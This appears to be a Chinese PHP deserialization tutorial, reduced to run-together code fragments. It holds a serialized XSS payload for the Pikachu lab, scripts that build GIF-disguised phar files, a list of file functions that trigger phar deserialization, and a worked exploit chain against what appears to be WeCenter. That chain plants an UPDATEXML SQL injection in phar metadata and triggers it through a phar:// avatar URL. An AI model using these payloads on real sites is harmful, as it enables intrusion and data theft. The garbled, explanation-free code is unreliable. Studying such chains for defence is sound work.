Web安全 | PHP反序列化入门这一篇就够了

O:1:"S":1:{s:4:"test";s:28:"<script>alert('sd')</script>";}

<?php$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}

$PIKA_ROOT_DIR =  "../../";include_once $PIKA_ROOT_DIR.'header.php';

class S{var $test = "pikachu";function __construct(){echo $this->test;}}$html='';if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}?>

<?phpPhar::mapPhar();include 'phar://phar.phar/index.php';__HALT_COMPILER();?>

<?phpclass TestObject {}@unlink("1.phar");$phar = new Phar("1.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents

file         filegroup        fopen        fileinode      fileowner            fileperms

is_dir       is_file          is_link      is_executable  is_readable          is_writeable

is_wirtble   parse_ini_file   copy         unlink         stat                 readfile

<?phpclass TestObject {}
@unlink("sd.phar");$phar = new Phar("sd.phar");$phar->startBuffering();$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头$o = new TestObject();$o->data='sd!';$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

<?phpinclude('phar://sd.gif');class TestObject {    function __destruct(){        echo $this->data;    }}?>

public function query($sql, $limit = null, $offset = null, $where = null){$this->slave();

if (!$sql){throw new Exception('Query was empty.');}

if ($where){$sql .= ' WHERE ' . $where;}

if ($limit){$sql .= ' LIMIT ' . $limit;}

if ($offset){$sql .= ' OFFSET ' . $offset;}

if (AWS_APP::config()->get('system')->debug){$start_time = microtime(TRUE);}

try {$result = $this->db()->query($sql);} catch (Exception $e) {show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());}

if (AWS_APP::config()->get('system')->debug){AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);}

return $result;}

public function associate_remote_avatar($uid, $headimgurl){if (!$headimgurl){return false;}

if (!$user_info = $this->get_user_info_by_uid($uid)){return false;}

if ($user_info['avatar_file']){return false;}

if (!$avatar_stream = file_get_contents($headimgurl)){return false;}

$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');

$avatar_dir = dirname($avatar_location) . '/';if (!file_exists($avatar_dir)){make_dir($avatar_dir);}

<?phpclass AWS_MODEL{private $_shutdown_query = array();

public function __construct(){$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";}}$a = new AWS_MODEL;$phar = new Phar("11.phar");$phar->startBuffering();$phar->setStub("GIF89a"."__HALT_COMPILER();");$phar->setMetadata($a);$phar->addFromString("test.txt","123");$phar->stopBuffering();?>

<?php$arr = array();$arr['access_token'] = array('openid' => '1');$arr['access_user'] = array();$arr['access_user']['openid'] = 1;$arr['access_user']['nickname'] = 'admin';$arr['access_user']['headimgurl'] = 'phar://uploads/question/20210606/ca6820646810c27e025258594bb905ea.gif';echo json_encode($arr);?>